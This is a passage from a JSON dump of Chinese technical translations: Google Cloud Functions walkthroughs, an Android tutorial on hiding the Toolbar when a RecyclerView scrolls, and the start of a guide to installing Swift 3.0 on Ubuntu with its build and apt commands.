Events)和触发器\n\n云事件是指发生在你云环境中的事件。它们可能是数据库中数据的更改、存储系统中文件的添加，或者是创建了一个新的虚拟主机实例。\n\n事件是不论你是否决定去响应都会发生的。创建一个事件的响应是通过触发器来实现的。触发器用来声明你对特定的一个或一组事件感兴趣。创建触发器可以捕获事件并响应。\n\n##云函数\n\nCloud Functions 是用来响应事件的一种机制。你的 Cloud Functions 中包含了用于响应触发器并处理事件的代码。\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/walkthroughs.md",
    "content": "* 原文[Walkthroughs](https://cloud.google.com/functions/walkthroughs)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n##演练\n\n###Cloud 发布/订阅 版 Hello World\n\n这节将会演示一个基本的 \"Hello World\" 例子。这个例子主要用了以下组件：\n\n* Google Cloud Functions: 创建 Hello World 函数。\n* Google Cloud Pub/Sub: 给函数发送消息。\n* Google Cloud Logging: 查看 \"hello world\" 的消息。\n\n###第一步：创建函数\n\n在你的本地文件系统中创建一个项目的位置:\n\nLinux/Mac\n\n>$ mkdir ~/gcf_hello_world\n\n>$ cd ~/gcf_hello_world\n\nWindows\n\n>$ mkdir %HOMEPATH%\\gcf_hello_world\n\n>$ cd %HOMEPATH%\\gcf_hello_world\n\n新建一个 index.js 的文件(注意，如果你想用另一个名字来命名，记得在 package.json 中把它定义成主属性)，并把下面的代码复制进去:\n\nindex.js\n\n```js\nexports.helloworld = function (context, data) {\n  console.log('My GCF Function: ' + data.message);\n  context.success();\n};\n```\n\n###第二步：部署你的函数\n\n使用一个名为 hello_world 的 Pub/Sub topic 部署函数\n\n>$ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world\n\n--trigger-topic 参数表示要创建或使用 Cloud Pub/Sub 主题，在这个主题下你可以发布事件。\n\n```\n注意：首次部署函数时可能要花费几分钟，因为我们需要为你的函数提供底层支持。随后的部署就会很快了\n```\n\n使用 describe 命令可以随时产看函数的状态：\n\n>$ gcloud alpha functions describe helloworld\n\n一旦函数部署成功，你将会看到状态变为 READY ，同时会有 Cloud Pub/Sub 主题的路径显示出来：\n\n```\nstatus: READY\ntriggers:\n- pubsubTopic: projects/<PROJECT_ID>/topics/hello_world</pre>\n```\n\n###第三步：使用 call 命令测试你的函数\n\n通过 call 命令可以在命令行下测试你的函数：\n\n> $ gcloud alpha functions call helloworld --data '{\"message\":\"Hello World!\"}'\n\n###第四步：查看日志\n\n上面的命令是没有返回值的，你需要查看日志才能看到 \"Hello World!\" 字符串：\n\n>$ gcloud alpha functions get-logs helloworld\n\n###第五步：使用 Pub/Sub 发布一条消息\n\n这个例子使用 Cloud Pub/Sub 作为触发器，因此你也可以通过发布 Pub/Sub 消息来触发函数：\n\n>$ gcloud alpha pubsub topics publish hello_world '{\"message\":\"Hello World!\"}'\n\n##HTTP 调用\n\n下面这个例子创建了一个可以通过 HTTP 请求触发的简单函数。\n\n###第一步：创建函数\n\n在你本地系统创建工程：\n\nLinux/Mac\n\n>$ mkdir ~/gcf_hello_http\n\n>$ cd ~/gcf_hello_http\n\nWindows\n\n>$ mkdir %HOMEPATH%\\gcf_hello_http\n\n>$ cd %HOMEPATH%\\gcf_hello_http\n\n新建一个 index.js 的文件(注意：如果你想用另一个名字来命名，记得在 package.json 中把它定义成主属性)，并把下面的代码复制进去:\n\nindex.js\n\n\n```js\nrts.hellohttp = function (context, data) {\n  // Use the success argument to send data back to the caller\n  context.success('My GCF Function: ' + data.message);\n};\n```\n\n###第二步：部署你的函数\n\n部署一个拥有 http 触发器的函数\n\n> $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world\n\n```\n注意：首次部署函数时可能要花费几分钟，因为我们需要为你的函数提供底层支持。随后的部署就会很快了\n```\n\n使用 describe 命令可以随时产看函数的状态：\n\n>$ gcloud alpha functions describe helloworld\n\n一旦函数部署成功，你将会看到状态变为 READY ，同时会有一个 HTTP url：\n\n```\nstatus: READY\ntriggers:\n- webTrigger:\n  url: https://<REGION>.<PROJECT_ID>.cloudfunctions.net/hellohttp\n```\n\n<REGION> 表示你部署函数的地区，<PROJECT_ID> 是你项目的 ID 。比如：\n\n>https://us-central1.my-project.cloudfunctions.net/hellohttp\n\n###第三步：触发你的函数\n\n可以用 crul 命令行工具测试你的函数：\n\n> $ curl -X POST https://<REGION>.<PROJECT_ID>.cloudfunctions.net/hellohttp \\\n  --data '{\"message\":\"Hello World!\"}'\n\n确保你的使用的是 HTTP POST 方法，因为 Cloud Functions 现在还不支持其它的 HTTP 方法。\n\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/writing-cloud-functions.md",
    "content": "* 原文[Writing Cloud Functions](https://cloud.google.com/functions/writing)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n##编写 Cloud Functions\n\nGoogle Cloud Functions 是由 JavaScript 编写并在 node.js 运行环境中执行。当创建 Cloud Functions 时，你的函数源码必须导出为 Node.js 的[模块](https://nodejs.org/api/modules.html)\n\n导出函数最简单的形式：\n\n```js\nexports.helloworld = function (context, data) {\n  context.success('Hello World!');\n};\n```\n\n或者你也可以通过函数名字和函数体作为键值对的方式导出：\n\n```js\nmodule.exports = {\n  helloworld: function (context, data) {\n    context.success('Hello World!');\n  }\n};\n```\n\n你的模块可以导出任意多的函数，但它们必须是分开部署\n\n##函数参数\n\n你定义的 Cloud Functions 必须收俩个参数：context 以及 data。\n\n###Context参数\n\ncontext 函数包含执行环境的信息并且包括一个回调函数来标示你的函数运行完成\n\n| Function       | Aruments           | Description  |\n| ------------- |:-------------:| -----:|\n|context.success([message])|message (string)|当你函数成功完成时调用。可以给它传一个可选的 message 参数给 success 用于当函数同步执行结束时返回|\n|context.failure([message])|message (string)|当函数运行失败是调用。可以给它传一个可选的 message 参数给 failure 用于当函数同步执行结束时返回|\n|context.done([message])|message (string)|短路函数，当没有提供 message 参数时表现和 success 一样当提供 message 参数时表现和 failure 一样。|\n\n>注意: 当你的函数完成时一定要调用 success(),failure(),或者 done() 中的一个。否则你的函数可能继续运行直到被系统强制结束。\n\n例子：\n\n```js\nmodule.exports = {\n  helloworld: function (context, data) {\n    if (data.message !== undefined) {\n      // Everything is ok\n      console.log(data.message);\n      context.success();\n    } else {\n      // This is an error case\n      context.failure('No message defined!');\n    }\n  }\n};\n```\n\n###Data 参数\n\nData 参数持有事件相关的数据，这里的事件是指引起触发器执行函数的事件。data 对象的上下文依赖于函数注册的触发器(比如，[Cloud Pub/Sub topic](https://cloud.google.com/pubsub/docs) 或者 [Google Cloud Storage bucket](https://cloud.google.com/storage/docs/))。在自触发的函数中(比如手动给 Cloud Pub/Sub 发布事件) data 参数包含你发布的信息\n\n##函数依赖\n\nCloud Function 允许使用其它 Node.js 模块，以及其它的本地数据。在 Node.js 中依赖是由 [npm](https://docs.npmjs.com/) 管理的，在 package.json 中添加。你可以直接将全部依赖打包在你的函数包中，也可以在 package.json 中简单的声明一下，Cloud Function 会在你需要用到的时候自动下载它们。参考[npm 文档](https://docs.npmjs.com/files/package.json)了解更多关于 package.json 内容。\n\n在这个例子中依赖是列举在 `package.json` 文件中的:\n\n```js\n\"dependencies\": {\n  \"node-uuid\": \"^1.4.7\"\n}\n```\n在 Cloud Function 中使用依赖:\n\n```js\nvar uuid = require('node-uuid');\n\nexports.uuid = function (context, data) {\n  context.success(uuid.v4());\n};\n```\n\n##记录和查看日志\n\n你可以使用 console.log 或者 console.error 来从 Cloud Function 中输出日志\n\n比如：\n\n```js\nexports.helloworld = function (context, data) {\n  console.log('I am a log entry!');\n  context.success();\n};\n```\n\n* console.log() 给出 INFO 类型的日志\n* console.error() 给出 ERROR 类型的日志\n* 内部系统消息是 DBUG 日志类别\n\nCloud Function 的日志可以通过 Cloud Logging 界面查看，或者通过命令行工具 gcloud 查看。\n\n在命令行界面使用 get-logs 命令查看日志：\n\n> $ gcloud alpha functions get-logs\n\n把函数名作为参数来查看特定函数的日志:\n\n\n> $ gcloud alpha functions get-logs <FUNCTION_NAME>\n\n你甚至可以查看某次执行的日:\n\n> $ gcloud alpha functions get-logs <FUNCTION_NAME> --execution-id d3w-fPZQp9KC-0\n\n通过 get-logs 的帮助信息来了解查看日志的所有选项:\n\n> $ gcloud alpha functions get-logs -h\n\n另外，你也可在从云平台的命令行查看 [Cloud Function](https://console.cloud.google.com/project/_/logs?service=cloudfunctions.googleapis.com&_ga=1.6185779.1008720489.1449201561) 的日志\n"
  },
  {
    "path": "TODO/How-to-hideshow-Toolbar-when-list-is-scroling.md",
    "content": "> * 原文链接 : [How to hide/show Toolbar when list is scroling (part 1) · Michał Z.](https://mzgreen.github.io/2015/02/15/How-to-hideshow-Toolbar-when-list-is-scroling(part1)/)\n* 原文作者 : [Michał Z.](https://twitter.com/mzmzgreen)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Mi&Jack](https://github.com/mijack)\n* 校对者 : [@laobie](https://github.com/laobie)\n* 状态 :  翻译完成\n\n# 让 Toolbar 随着 RecyclerView 的滚动而显示/隐藏\n\n这篇文章是过时的，你应该跳到[第三部分 3](https://mzgreen.github.io/2015/06/23/How-to-hideshow-Toolbar-when-list-is-scrolling%28part3%29/)。\n\n在这篇文章中，我们将看到如何实现像Google+ 应用程序一样，当列表下滑时，Toolbar和FAB（包括其他的View）隐藏；当列表上滑时，Toolbar和FAB（包括其他的View）显示的效果；这种效果在[Material Design Checklist](http://android-developers.blogspot.com/2014/10/material-design-on-android-checklist.html)提到过.\n\n>“在一些场景下，当屏幕向上滚动时，app bar将会从屏幕上移除，给内容留出更多的空间。相反，当向上滚动时，app bar应再次显示。\n\n我们的目标效果如下图所示：\n\n![](https://mzgreen.github.io/images/1/demo_gif.gif)\n\n我们将使用为我们的列表使用`RecyclerView`，当然，你也可以选择其他滚动控件（例如` ListView `)，但它就意味着更多的编码。现在，我有两种具体的实现方法：\n\n1. 给List设置padding\n2. 给List添加一个headr\n\n我只是决定执行第二个方案，因为我发现在如何给`RecyclerView`添加header这一问题上，有很多需要注意的地方，这是一个很好的机会去解决他们。\n我也将简要描述第一个方案。\n\n###我们开始吧\n\n我们要创建一个工程，并添加如下依赖：\n```\n    dependencies {\n      compile fileTree(dir: 'libs', include: ['*.jar'])\n      compile 'com.android.support:appcompat-v7:21.0.3'\n      compile \"com.android.support:recyclerview-v7:21.0.0\"\n      compile 'com.android.support:cardview-v7:21.0.3'\n    }\n```\n\n现在我们应该定义`style.xml`，我们的应用程序将使用Material的主题,但我们不使用` ActionBar `（取而代之是`Toolbar`）：\n\n\n```\n<style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.NoActionBar\">\n  <item name=\"colorPrimary\">@color/color_primary</item>\n  <item name=\"colorPrimaryDark\">@color/color_primary_dark</item>\n</style>\n```\n\n接下来是创建`Activity`的布局：\n\n```\n<FrameLayout\n\txmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n\n\t<android.support.v7.widget.RecyclerView\n    \tandroid:id=\"@+id/recyclerView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n\n\t\t<android.support.v7.widget.Toolbar\n        \tandroid:id=\"@+id/toolbar\"\n        \tandroid:layout_width=\"match_parent\"\n            android:layout_height=\"?attr/actionBarSize\"\n            android:background=\"?attr/colorPrimary\">\n\n\t\t\t<ImageButton\n                android:id=\"@+id/fabButton\"\n                android:layout_width=\"56dp\"\n                android:layout_height=\"56dp\"\n                android:layout_gravity=\"bottom|right\"\n                android:layout_marginbottom=\"16dp\"\n                android:layout_marginright=\"16dp\"\n                android:background=\"@drawable/fab_background\"\n                android:src=\"@drawable/ic_favorite_outline_white_24dp\"\n                android:contentdescription=\"@null\">\n            </ImageButton>\n        </android.support.v7.widget.Toolbar>\n    </android.support.v7.widget.RecyclerView>\n</FrameLayout>\n```\n\n这是一个简单的布局，只有`RecyclerView`、`Toolbar`以及作为FAB的`ImageButton`。我们需要把它们放在一个`FrameLayout`，因为这样可以达到`Toolbar`覆盖` RecyclerView`的效果。如果我们不这样做，当我们隐藏Toolbar的时候在列表的上方将会有一个空白的空间。\n\n\n让我们来看看`MainActiviy`的代码吧：\n```\npublic class MainActivity extends ActionBarActivity {\n  private Toolbar mToolbar;\n  private ImageButton mFabButton;\n\n  @Override\n  protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.activity_main);\n    initToolbar();\n    mFabButton = (ImageButton) findViewById(R.id.fabButton);\n    initRecyclerView();\n  }\n\n  private void initToolbar() {\n    mToolbar = (Toolbar) findViewById(R.id.toolbar);\n    setSupportActionBar(mToolbar);\n    setTitle(getString(R.string.app_name));\n    mToolbar.setTitleTextColor(getResources().getColor(android.R.color.white));\n  }\n\n  private void initRecyclerView() {\n    RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView);\n    recyclerView.setLayoutManager(new LinearLayoutManager(this));\n    RecyclerAdapter recyclerAdapter = new RecyclerAdapter(createItemList());\n    recyclerView.setAdapter(recyclerAdapter);\n  }\n\n}\n```\n\n正如你所看到的，这是一个十分简单的类，它只实现onCreate()方法，做了以下事情：\n\n1. 初始化 `Toolbar`\n2. 获取FAB\n3. 初始化 `RecyclerView`\n\n现在我们将为`RecylerView`创建adapter。在这之前，我们需要添加list item的布局：\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<android.support.v7.widget.cardview\n\txmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:card_view=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:layout_gravity=\"center\"\n    android:layout_margin=\"8dp\"\n    card_view:cardcornerradius=\"4dp\">\n\n    <TextView\n    \tandroid:id=\"@+id/itemTextView\"\n    \tandroid:layout_width=\"match_parent\"\n        android:layout_height=\"?attr/listPreferredItemHeight\"\n        android:gravity=\"center_vertical\"\n        android:padding=\"8dp\"\n        style=\"@style/Base.TextAppearance.AppCompat.Body2\">\n    </TextView>\n</android.support.v7.widget.cardview>\n```\n\n对应的`ViewHolder`如下:\n\n```\npublic class RecyclerItemViewHolder extends RecyclerView.ViewHolder {\n  private final TextView mItemTextView;\n\n  public RecyclerItemViewHolder(final View parent, TextView itemTextView) {\n    super(parent);\n    mItemTextView = itemTextView;\n  }\n\n  public static RecyclerItemViewHolder newInstance(View parent) {\n    TextView itemTextView = (TextView) parent.findViewById(R.id.itemTextView);\n    return new RecyclerItemViewHolder(parent, itemTextView);\n  }\n\n  public void setItemText(CharSequence text) {\n    mItemTextView.setText(text);\n  }\n\n}\n```\n我们的列表用于呈现带有文本的卡片 - 简单吧！\n\n现在，我们看一下`RecyclerAdapter`的代码：\n```\npublic class RecyclerAdapter extends RecyclerView.Adapter<recyclerview.viewholder> {\n  private List<string> mItemList;\n\n  public RecyclerAdapter(List<string> itemList) {\n    mItemList = itemList;\n  }\n\n  @Override\n  public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n    final View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler_item, parent, false);\n    return RecyclerItemViewHolder.newInstance(view);\n  }\n\n  @Override\n  public void onBindViewHolder(RecyclerView.ViewHolder viewHolder, int position) {\n    RecyclerItemViewHolder holder = (RecyclerItemViewHolder) viewHolder;\n    String itemText = mItemList.get(position);\n    holder.setItemText(itemText);\n  }\n\n  @Override\n  public int getItemCount() {\n    return mItemList == null ? 0 : mItemList.size();\n  }\n\n}\n```\n\n这个是`RecyclerView.Adapter`的基本实现。并没有什么特殊的东西。如果，你想深入了解 `RecyclerView`,我建议你好好的阅读一下Mark Allison的[文章](https://blog.stylingandroid.com/material-part-4/)\n\n我们写好以上代码，运行一下！截图如下：\n\n![](https://mzgreen.github.io/images/1/clipped.png)\n\n等一下，那是什么？你注意到没有？`Toolbar`把我们的列表挡住了。那是因为我们在`activity_main.xml`中设置`FrameLayout`为根布局。在开始的时候，我们提到过，这里有两种解决方案。第一张就是给`RecyclerView`设置paddingTop，其高度和`Toolbar`保持一致。但是还有一些细节需要注意，因为默认情况下，控件的绘制区域是在padding里面的，所以我们需要将其关闭，具体代码如下:\n\n    <android.support.v7.widget.recyclerview\n    \tandroid:id=\"@+id/recyclerView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:paddingtop=\"?attr/actionBarSize\"\n        android:cliptopadding=\"false\"\n    </android.support.v7.widget.recyclerview>\n\n\n这样做，可以达到效果。但是，我想告诉你另一种实现方式-也许有点复杂，涉及增加了头的列表。\n\n###为`RecyclerView`添加Header\n\n首先，我们需要对Adapter做一些更改：\n\n```\npublic class RecyclerAdapter extends RecyclerView.Adapter<recyclerview.viewholder> {\n  //added view types\n  private static final int TYPE_HEADER = 2;\n  private static final int TYPE_ITEM = 1;\n\n  private List<string> mItemList;\n\n  public RecyclerAdapter(List<string> itemList) {\n    mItemList = itemList;\n  }\n\n  //modified creating viewholder, so it creates appropriate holder for a given viewType\n  @Override\n  public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n    Context context = parent.getContext();\n    if (viewType == TYPE_ITEM) {\n      final View view = LayoutInflater.from(context).inflate(R.layout.recycler_item, parent, false);\n      return RecyclerItemViewHolder.newInstance(view);\n    } else if (viewType == TYPE_HEADER) {\n      final View view = LayoutInflater.from(context).inflate(R.layout.recycler_header, parent, false);\n      return new RecyclerHeaderViewHolder(view);\n    }\n    throw new RuntimeException(\"There is no type that matches the type \" + viewType + \" + make sure your using types    correctly\");\n  }\n\n  //modifed ViewHolder binding so it binds a correct View for the Adapter\n  @Override\n  public void onBindViewHolder(RecyclerView.ViewHolder viewHolder, int position) {\n    if (!isPositionHeader(position)) {\n      RecyclerItemViewHolder holder = (RecyclerItemViewHolder) viewHolder;\n      String itemText = mItemList.get(position - 1); // we are taking header in to account so all of our items are correctly positioned\n      holder.setItemText(itemText);\n    }\n  }\n\n  //our old getItemCount()\n  public int getBasicItemCount() {\n    return mItemList == null ? 0 : mItemList.size();\n  }\n\n  //our new getItemCount() that includes header View\n  @Override\n  public int getItemCount() {\n    return getBasicItemCount() + 1; // header\n  }\n\n  //added a method that returns viewType for a given position\n  @Override\n  public int getItemViewType(int position) {\n    if (isPositionHeader(position)) {\n    return TYPE_HEADER;\n    }\n    return TYPE_ITEM;\n  }\n\n  //added a method to check if given position is a header\n  private boolean isPositionHeader(int position) {\n    return position == 0;\n  }\n\n}\n```\n\n代码的具体思路如下：\n\n1. 我们需要为`Recycler`展示的不同的Item定义不同的Item Type。` RecyclerView `是一个非常灵活的组件。当您希望为您的列表项目有不同的布局时，可以使用Item Type。而这正是我们想要做的，我们的第一个Item将是一个标题视图，不同于其他的项目(lines 3-4).\n2. 我们需要告诉`Recycler`，返回哪个类型用于显示(lines 49-54).\n3. 我们需要修改` onCreateViewHolder `和` onBindViewHolder `方法，根据type的不同TYPE_ITEM或者TYPE_HEAD，返回相应的item(lines 14-34).\n4. 我们需要修改 `getItemCount()` - 返回的总数为数据集总数 + 1，因为我们还有一个Header（line 43-45）。现在，我们创建一个布局，并为其添加一个`ViewHolder`。\n\n\n```\n    <view xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    \tandroid:layout_width=\"match_parent\"\n        android:layout_height=\"?attr/actionBarSize\">\n    </view>\n```\n\n布局很简单。重要的是要注意的是，它的高度需要是等于`Toolbar`的高度。这是` viewholder `，也很简单：\n\n\n    public class RecyclerHeaderViewHolder extends RecyclerView.ViewHolder {\n      public RecyclerHeaderViewHolder(View itemView) {\n      \tsuper(itemView);\n      }\n    }\n\n![](https://mzgreen.github.io/images/1/clipping_fixed.png)\n好了，我们完成了！截图如上：\n\n\n好多了，对吗？所以，综上所述，我们需要为RecyclerView增加了一个Header。它和Toolbar高度相同，它是一个空视图。toolbar刚好将其挡住，而其他的视图可以恰当好处的显示。接下来我们可以实现列表滚动时显示/隐藏视图。\n\n###在列表滚动的时候显示/隐藏View\n\n为了实现这个效果，我们将为`RecyclerView`创建一个类` onscrolllistener`。\n\n\n\tpublic abstract class HidingScrollListener extends RecyclerView.OnScrollListener {\n      private static final int HIDE_THRESHOLD = 20;\n      private int scrolledDistance = 0;\n      private boolean controlsVisible = true;\n\n      @Override\n      public void onScrolled(RecyclerView recyclerView, int dx, int dy) {\n\t\tsuper.onScrolled(recyclerView, dx, dy);\n        if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) {\n            onHide();\n            controlsVisible = false;\n            scrolledDistance = 0;\n        } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) {\n        \tonShow();\n            controlsVisible = true;\n            scrolledDistance = 0;\n        }\n        if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) {\n\t\t\tscrolledDistance += dy;\n    \t}\n      }\n\n      public abstract void onHide();\n      public abstract void onShow();\n\n    }\n\n真正起到作用的方法就是你现在看到的方法` onscrolled() `方法。它的参数——dx，dy是水平和垂直滚动的量。其实他们是每次滑动的变化量，是两个前后事件的差，不是总滚动距离。\n\n\n基本的实现思路如下：\n\n- 我们计算总的滚动距离（每一次滚动的总和）。但是，我们只关心View隐藏时的向上滑动或者View显示时的向下滑动，因为这些是我们所关心的情况。\n\n    if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) {\n    \tscrolledDistance += dy;\n    }\n\n\n- 如果当滚动值超过某个阈值（你可以设置阈值，值越大，需要滚动滚动更多的距离，才能看到显示/隐藏View的效果）。我们根据滚动的方向来显示/隐藏View（DY＞0意味着我们向下滚动，Dy＜0意味着我们滚动起来）。\n\n    if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) {\n      onHide();\n      controlsVisible = false;\n      scrolledDistance = 0;\n    } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) {\n      onShow();\n      controlsVisible = true;\n      scrolledDistance = 0;\n    }\n\n- 事实上，我们不可能在Scroll Listener中显示/隐藏View，更为靠谱的做法是，将其抽象出来，调用show()/hide()方法，所以我们需要在回调中实现它们。\n\n现在，我们需要给`RecyclerView`设置listener:\n\n    private void initRecyclerView() {\n      RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView);\n      recyclerView.setLayoutManager(new LinearLayoutManager(this));\n      RecyclerAdapter recyclerAdapter = new RecyclerAdapter(createItemList());\n      recyclerView.setAdapter(recyclerAdapter);\n      //setting up our OnScrollListener\n      recyclerView.setOnScrollListener(new HidingScrollListener() {\n    @Override\n    public void onHide() {\n      hideViews();\n    }\n    @Override\n    public void onShow() {\n      showViews();\n    }\n      });\n    }\n\n添加下面的方法，可以以动画的形式隐藏或显示View：\n\n\tprivate void hideViews() {\n\t  mToolbar.animate().translationY(-mToolbar.getHeight()).setInterpolator(new AccelerateInterpolator(2));\n\n\t  FrameLayout.LayoutParams lp = (FrameLayout.LayoutParams) mFabButton.getLayoutParams();\n\t  int fabBottomMargin = lp.bottomMargin;\n\t  mFabButton.animate().translationY(mFabButton.getHeight()+fabBottomMargin).setInterpolator(new AccelerateInterpolator(2)).start();\n\t}\n\n\tprivate void showViews() {\n\t  mToolbar.animate().translationY(0).setInterpolator(new DecelerateInterpolator(2));\n\t  mFabButton.animate().translationY(0).setInterpolator(new DecelerateInterpolator(2)).start();\n\t}\n\n我们必须把margin作为隐藏Toolbar的参数，否则就不能完全隐藏Fab。\n\n是时候看一下我们的应用程序的效果了！滚动屏幕截图\n\n![](https://mzgreen.github.io/images/1/broken_gif.gif)\n\n它看起来挺不错的，但是有一些小细节需要调整 - 如果你处于列表的顶部，而滑动隐藏的阈值设置的很小，那么即使在列表为空的情况下，你也可以隐藏`ToolBar`.幸运的是，这个问题很容易解决。我们需要做的是检测列表的第一项是否是可见的，从而根据实际情况调整`ToolBar`的显示/隐藏。\n\n    @Override\n    public void onScrolled(RecyclerView recyclerView, int dx, int dy) {\n      super.onScrolled(recyclerView, dx, dy);\n\n      int firstVisibleItem = ((LinearLayoutManager) recyclerView.getLayoutManager()).findFirstVisibleItemPosition();\n      //show views if first item is first visible position and views are hidden\n      if (firstVisibleItem == 0) {\n    if(!controlsVisible) {\n      onShow();\n      controlsVisible = true;\n    }\n      } else {\n    if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) {\n      onHide();\n      controlsVisible = false;\n      scrolledDistance = 0;\n    } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) {\n      onShow();\n      controlsVisible = true;\n      scrolledDistance = 0;\n    }\n      }\n\n      if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) {\n    scrolledDistance += dy;\n      }\n    }\n\n更改以后，当第一项是可见的时候，Header不会消失。接着向下滑的时候，其他的效果还是和之前的一样再次运行我们的项目，实际效果如下：\n\n![](https://mzgreen.github.io/images/1/demo_gif.gif)\n\nYup! 现在看上去很不错哦！\n\n\n这是我第一次写的博客，所以可能存在着一些错误，以后我会有所提高的。\n\n如果你不想使用添加Head的方式，你也可以使用第二种给RecyclerView添加padding的方式。只需要加上padding，然后使用我们之前创建的 HidingScrollListener ，就可以实现了: )\n\n在下一个部分，我将告诉你如何做出像Google Play一样的效果。\n\n如果你有什么疑问，你可以在下面的评论区评论。\n###代码\n\n这篇文章提到的所有源代码，你都可以在[对应的Github仓库](https://github.com/mzgreen/HideOnScrollExample)上找到.\n\n感谢[Mirek Stanek](https://twitter.com/froger_mcs)作为这篇文章的内测读者.\n\n- Michał Z.\n\n如果你喜欢这篇文章，你可以[把他分享给你的关注者](https://twitter.com/intent/tweet?url=http://mzgreen.github.io/2015/02/15/How-to-hideshow-Toolbar-when-list-is-scroling(part1)/&text=How%20to%20hide/show%20Toolbar%20when%20list%20is%20scroling%20(part%201)&via=mzmzgreen) 或者在[Twitter](https://twitter.com/mzmzgreen)关注我!\n"
  },
  {
    "path": "TODO/Introducing-Swift 3.0.md",
    "content": "> * 原文链接: [Introducing Swift 3.0](http://dev.iachieved.it/iachievedit/)\n* 原文作者 : [ Joe](http://dev.iachieved.it/iachievedit/author/admin/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [joyking7](https://github.com/joyking7)\n* 校对者 : [CoderBOBO](https://github.com/CoderBOBO) [shenxn](https://github.com/shenxn)\n\nLinux 系统下 Swift 3.0 的介绍\n====================\n\n[![Swift 3.0](https://img.shields.io/badge/Swift-3.0-orange.svg?style=flat)](https://swift.org/)\n\n如果你正在寻找 Swift 2.2 的 Ubuntu 包，请查看我们[这里](http://dev.iachieved.it/iachievedit/ubuntu-packages-for-open-source-swift/)的引导。\n### Swift 3.0\n\nSwift 2.2 已经从 `master` 分支移到了 `swift-2.2` 分支上。从那以后，仓库的 `master` 分支就被用来进行 3.0 版本的开发。完整克隆并编译 Swift 源码的方式已经与之前有很大变化。相比之前要逐个仓库进行克隆，现在你可以这样做:\n\n    mkdir swift-build\n    cd swift-build\n    git clone https://github.com/apple/swift.git \n    ./swift/utils/update-checkout --clone\n\n`swift` 仓库中的 `update-checkout` 脚本可以帮助你克隆编译 Swift 代码所需的仓库，并且把它们打包到 `.tar.gz` 压缩文件中。\n\n我们使用 “build and package” 作为预设，不仅可以编译所有需要的目标文件，还能顺利地将它们打包成 `.tar.gz` 压缩文件。使用 `package.sh` 这个脚本就能完成上面的操作（可在 `package-swift` 库中找到）:\n\n    #!/bin/bash\n    pushd `dirname $0` > /dev/null\n    WHERE_I_AM=`pwd`\n    popd > /dev/null\n    INSTALL_DIR=${WHERE_I_AM}/install\n    PACKAGE=${WHERE_I_AM}/swift.tar.gz\n    LSB_RELEASE=`lsb_release -rs  | tr -d .`\n    rm -rf $INSTALL_DIR $PACKAGE\n    ./swift/utils/build-script --preset=buildbot_linux_${LSB_RELEASE} install_destdir=${INSTALL_DIR} in\n\n这个脚本中关键的事情就是检测 Ubuntu 的版本 (`lsb_release -rs`)，并且使用 `buildbot_linux_${LSB_RELEASE}` 预设来编译并把所有东西打包到 `${PACKAGE}` `.tar.gz` 文件中。\n### apt-get\n\n从 Apple 官方下载 `.tar.gz` 是个明智的选择。其实在 Ubuntu 发行版本上使用 `apt-get` 指令是更好的方法。为了使在 Linux 上编译 Swift 代码变得更加容易，我们为你提供了包含最新 Swift 包的 Ubuntu 仓库。\n\n当前我们同时提供了 `swift-3.0` 和 `swift-2.2` 两个版本的包，然而他们并_不_兼容。比如，两个版本包都会将 `swift` 安装到 `/usr/bin` 目录下。我们计划将两个版本包分开安装到不同地方，不过可能要到 2016 年中才能解决这个问题。\n\n虽然有各种限制和约束，但是也不妨碍我们开始看看如何安装 Swift 3.0 !\n\n**1\\. 添加仓库密钥 (repository key)**\n\n    wget -qO- http://dev.iachieved.it/iachievedit.gpg.key | sudo apt-key add -\n\n**2\\. 将特定仓库添加到 `sources.list`**\n\n**Ubuntu 14.04**\n\n    echo \"deb http://iachievedit-repos.s3.amazonaws.com/ trusty main\" | sudo tee --append /etc/apt/sources.list\n\n**Ubuntu 15.10**\n\necho \"deb http://iachievedit-repos.s3.amazonaws.com/ wily main\" | sudo tee --append /etc/apt/sources.list\n\n**3\\. 运行 `apt-get update`**\n\n```\nsudo apt-get update\n```\n\n**4\\. 安装 swift-3.0!**\n\n```\napt-get install swift-3.0\n```\n\n**5\\. 试一试**\n\n    git clone https://github.com/apple/example-package-dealer\n    cd 